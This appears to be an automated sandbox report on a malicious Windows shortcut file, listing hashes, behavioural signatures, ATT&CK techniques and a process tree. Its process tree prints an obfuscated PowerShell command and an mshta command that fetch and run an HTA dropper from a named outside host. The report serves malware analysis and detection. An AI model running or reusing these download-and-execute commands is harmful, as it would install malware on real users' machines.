4b02b3d451d0723c892760dc618433603287e7858474ef8ca42352e06ff60d03

Analysis

max time kernel
142s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
22/12/2023, 12:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4b02b3d451d0723c892760dc618433603287e7858474ef8ca42352e06ff60d03.lnk
Size

523KB
MD5

199a9ff6c65f14f7ab95639c1c7106fd
SHA1

548873399f86d22f90118199fdc20e084c4c2258
SHA256

4b02b3d451d0723c892760dc618433603287e7858474ef8ca42352e06ff60d03
SHA512

e145b4d06e2c6ec3f82686c495eaab917f0525fbff85961247b6fe0be5cc773e6d86aa84da03df7f9a6a5f304bd37398e659b1676626489a2569abfb20970a31
SSDEEP

12:8hlKm/VnEXvk44X3ojsqzKtnWNt2eUcCsvXemCKeX5yXOlL6EWKDiNL4t2YlJZa:8hptnHYVKVWue/CWOmC7JLha5+

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://cw95649.tw1.ru/spHTA.hta

Signatures

Blocklisted process makes network request 10 IoCs

flow	pid	Process
14	2948	mshta.exe
17	2948	mshta.exe
23	2948	mshta.exe
25	2948	mshta.exe
38	2948	mshta.exe
39	2948	mshta.exe
40	2948	mshta.exe
41	2948	mshta.exe
44	2948	mshta.exe
45	2948	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3916	powershell.exe
3916	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3916	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3212 wrote to memory of 3916	3212	cmd.exe	87
PID 3212 wrote to memory of 3916	3212	cmd.exe	87
PID 3916 wrote to memory of 2948	3916	powershell.exe	89
PID 3916 wrote to memory of 2948	3916	powershell.exe	89

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\4b02b3d451d0723c892760dc618433603287e7858474ef8ca42352e06ff60d03.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3212
- C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\W*\S*2\m*h?a.* 'http://cw95649.tw1.ru/spHTA.hta'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3916
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" http://cw95649.tw1.ru/spHTA.hta
    3⤵
    - Blocklisted process makes network request
    PID:2948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o1dreldj.ocs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3916-2-0x00000199C8560000-0x00000199C8582000-memory.dmp

Filesize
136KB

Download
memory/3916-12-0x00007FFE7E910000-0x00007FFE7F3D1000-memory.dmp

Filesize
10.8MB

Download
memory/3916-13-0x00000199C85B0000-0x00000199C85C0000-memory.dmp

Filesize
64KB

Download
memory/3916-14-0x00000199C85B0000-0x00000199C85C0000-memory.dmp

Filesize
64KB

Download
memory/3916-15-0x00000199C85B0000-0x00000199C85C0000-memory.dmp

Filesize
64KB

Download
memory/3916-18-0x00007FFE7E910000-0x00007FFE7F3D1000-memory.dmp

Filesize
10.8MB

Download